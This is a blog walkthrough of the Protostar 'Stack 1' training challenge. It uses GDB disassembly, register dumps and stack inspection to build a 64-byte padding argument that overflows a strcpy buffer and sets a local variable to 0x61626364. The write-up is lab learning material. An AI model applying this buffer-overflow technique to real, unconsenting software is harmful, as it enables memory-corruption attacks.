B2B - Protostar, Stack1 (x86)

Introduction:

B2B is a series I have forced upon myself to make sure my basics are covered when it comes to exploitation. After passing my OSCE, I took a little break from exploitation to focus on a few work aspects, but now I am hungry for more lower level nonsense.

This series will focus mainly on exploitation challenges which cover various techniques. First of which, is the stack overflow challenges within the Protostar image from “exploit education” found here. I gave myself two main rules to stick to whilst working through all these challenges.

1) Don’t read the C source code for each challenge, only the hints section if required

2) Don’t read other peoples write ups for these challenges unless I have already finished it and want to see other routes to further my interest

Stack 1

The second challenge of Protostar is “Stack 1”. I approached each challenge with a similar set of steps, so each post will likely follow a similar template(ish). Including initial running, inspecting the disassembly of the binary and some other specific steps in between before finally crafting a payload and owning the process.

Our initial use of the program identified the following:

$ ./stack1
stack1: please specify an argument

$ ./stack1 AAAA
Try again, you got 0x00000000

The program simply appears to take a single argument, presumably does something with it in the background and then prints some output based on the value that was specified. In this case, the binary took the string “AAAA” as it’s argument, and printed “Try again, you got 0x00000000”.

We can disassemble the main() function in GDB to see exactly what is happening:

(gdb) disas main
Dump of assembler code for function main:
0x08048464 <main+0>:	push   ebp
0x08048465 <main+1>:	mov    ebp,esp
0x08048467 <main+3>:	and    esp,0xfffffff0
0x0804846a <main+6>:	sub    esp,0x60
0x0804846d <main+9>:	cmp    DWORD PTR [ebp+0x8],0x1
0x08048471 <main+13>:	jne    0x8048487 <main+35>
0x08048473 <main+15>:	mov    DWORD PTR [esp+0x4],0x80485a0
0x0804847b <main+23>:	mov    DWORD PTR [esp],0x1
0x08048482 <main+30>:	call   0x8048388 <errx@plt>
0x08048487 <main+35>:	mov    DWORD PTR [esp+0x5c],0x0
0x0804848f <main+43>:	mov    eax,DWORD PTR [ebp+0xc]
0x08048492 <main+46>:	add    eax,0x4
0x08048495 <main+49>:	mov    eax,DWORD PTR [eax]
0x08048497 <main+51>:	mov    DWORD PTR [esp+0x4],eax
0x0804849b <main+55>:	lea    eax,[esp+0x1c]
0x0804849f <main+59>:	mov    DWORD PTR [esp],eax
0x080484a2 <main+62>:	call   0x8048368 <strcpy@plt>
0x080484a7 <main+67>:	mov    eax,DWORD PTR [esp+0x5c]
0x080484ab <main+71>:	cmp    eax,0x61626364
0x080484b0 <main+76>:	jne    0x80484c0 <main+92>
0x080484b2 <main+78>:	mov    DWORD PTR [esp],0x80485bc
0x080484b9 <main+85>:	call   0x8048398 <puts@plt>
0x080484be <main+90>:	jmp    0x80484d5 <main+113>
0x080484c0 <main+92>:	mov    edx,DWORD PTR [esp+0x5c]
0x080484c4 <main+96>:	mov    eax,0x80485f3
0x080484c9 <main+101>:	mov    DWORD PTR [esp+0x4],edx
0x080484cd <main+105>:	mov    DWORD PTR [esp],eax
0x080484d0 <main+108>:	call   0x8048378 <printf@plt>
0x080484d5 <main+113>:	leave  
0x080484d6 <main+114>:	ret    
End of assembler dump.

A breakdown into specific steps of logic can be seen below. Although not perfect, this should hopefully give us an easier view of the programs flow and gain an understanding of what needs to be done:

In theory, to pass the comparison, we just need set the flag value to equal “0x61626364” and we should win.. right? Let’s try it. For the record 0x61 0x62 0x63 0x64 is ‘abcd’:

(gdb) i r
eax            0x0	0
ecx            0x0	0
edx            0x5	5
ebx            0xb7fd7ff4	-1208123404
esp            0xbffffc40	0xbffffc40
ebp            0xbffffca8	0xbffffca8
esi            0x0	0
edi            0x0	0
eip            0x80484b0	0x80484b0 <main+76>
eflags         0x200297	[ CF PF AF SF IF ID ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51
(gdb) ni
21	in stack1/stack1.c
(gdb) i r
eax            0x0	0
ecx            0x0	0
edx            0x5	5
ebx            0xb7fd7ff4	-1208123404
esp            0xbffffc40	0xbffffc40
ebp            0xbffffca8	0xbffffca8
esi            0x0	0
edi            0x0	0
eip            0x80484c0	0x80484c0 <main+92>
eflags         0x200297	[ CF PF AF SF IF ID ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51
(gdb) c
Continuing.
Try again, you got 0x00000000

Well, that failed. However, we now know that the jump to main+92 is the fail condition! Helpful bit of progression none the less. Let’s try again, but check the value that is being compared just before the comparison instruction occurs.

After another attempt, I realised I had derped pretty hard… I misread some of the disassembly at first. If we look at our stack, we can see our issue:

(gdb) x/30wx $esp
0xbffffc40:	0xbffffc5c	0xbffffe80	0xb7fff8f8	0xb7f0186e
0xbffffc50:	0xb7fd7ff4	0xb7ec6165	0xbffffc68	0x64636261 <- abcd input
0xbffffc60:	0xb7fd7f00	0x080496fc	0xbffffc78	0x08048334
0xbffffc70:	0xb7ff1040	0x080496fc	0xbffffca8	0x08048509
0xbffffc80:	0xb7fd8304	0xb7fd7ff4	0x080484f0	0xbffffca8
0xbffffc90:	0xb7ec6365	0xb7ff1040	0x080484fb	0x00000000 <- target flag (lol)
0xbffffca0:	0x080484f0	0x00000000	0xbffffd28	0xb7eadc76
0xbffffcb0:	0x00000002	0xbffffd54

Looking at the stack above, it looks like we can use the same offsets as before (64 until we hit our flag) and then the 4 bytes for our actual flag. Instead of ‘42424242’ we will write ‘abcd’ to get our target ‘0x61626364’ within the address. Note we will need to reverse it because endian-ness of the target CPU (link to resource here). Our payload ‘should’ be:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdcba

Re-running the program with our input and breaking just before the comparison instruction, we get:

(gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdcba
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /opt/protostar/bin/stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdcba

Breakpoint 1, 0x080484ab in main (argc=2, argv=0xbffffd14) at stack1/stack1.c:18
18	in stack1/stack1.c
(gdb) i r
eax            0x61626364	1633837924
ecx            0x0	0
edx            0x45	69
ebx            0xb7fd7ff4	-1208123404
esp            0xbffffc00	0xbffffc00
ebp            0xbffffc68	0xbffffc68
esi            0x0	0
edi            0x0	0
eip            0x80484ab	0x80484ab <main+71>
eflags         0x200246	[ PF ZF IF ID ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51

EAX is looking good! We can see our overflow hit the perfect location we identified before:

(gdb) x/30wx $esp
0xbffffc00:	0xbffffc1c	0xbffffe40	0xb7fff8f8	0xb7f0186e
0xbffffc10:	0xb7fd7ff4	0xb7ec6165	0xbffffc28	0x41414141 <--- input starts here
0xbffffc20:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffc30:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffc40:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffc50:	0x41414141	0x41414141	0x41414141	0x61626364 <--- our flag
0xbffffc60:	0x08048400	0x00000000	0xbffffce8	0xb7eadc76
0xbffffc70:	0x00000002	0xbffffd14

Two more steps into the program, we see that we continue our execution flow and don’t jump to the fail condition like before:

(gdb) ni
0x080484b0	18	in stack1/stack1.c
(gdb) ni
19	in stack1/stack1.c
(gdb) i r
eax            0x61626364	1633837924
ecx            0x0	0
edx            0x45	69
ebx            0xb7fd7ff4	-1208123404
esp            0xbffffc00	0xbffffc00
ebp            0xbffffc68	0xbffffc68
esi            0x0	0
edi            0x0	0
eip            0x80484b2	0x80484b2 <main+78>
eflags         0x200246	[ PF ZF IF ID ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51

The EIP now points at our ‘win’ block, ultimately leading on to glory!

(gdb) c
Continuing.
you have correctly got the variable to the right value

We can finally run our payload into the binary outside of GDB, and we should get our win condition printed to screen:

$ ./stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdcba
you have correctly got the variable to the right value

The second challenge has been completed. We exploited another buffer overflow, and overwrote our target memory location with a specific value, required by the process to execute our win condition.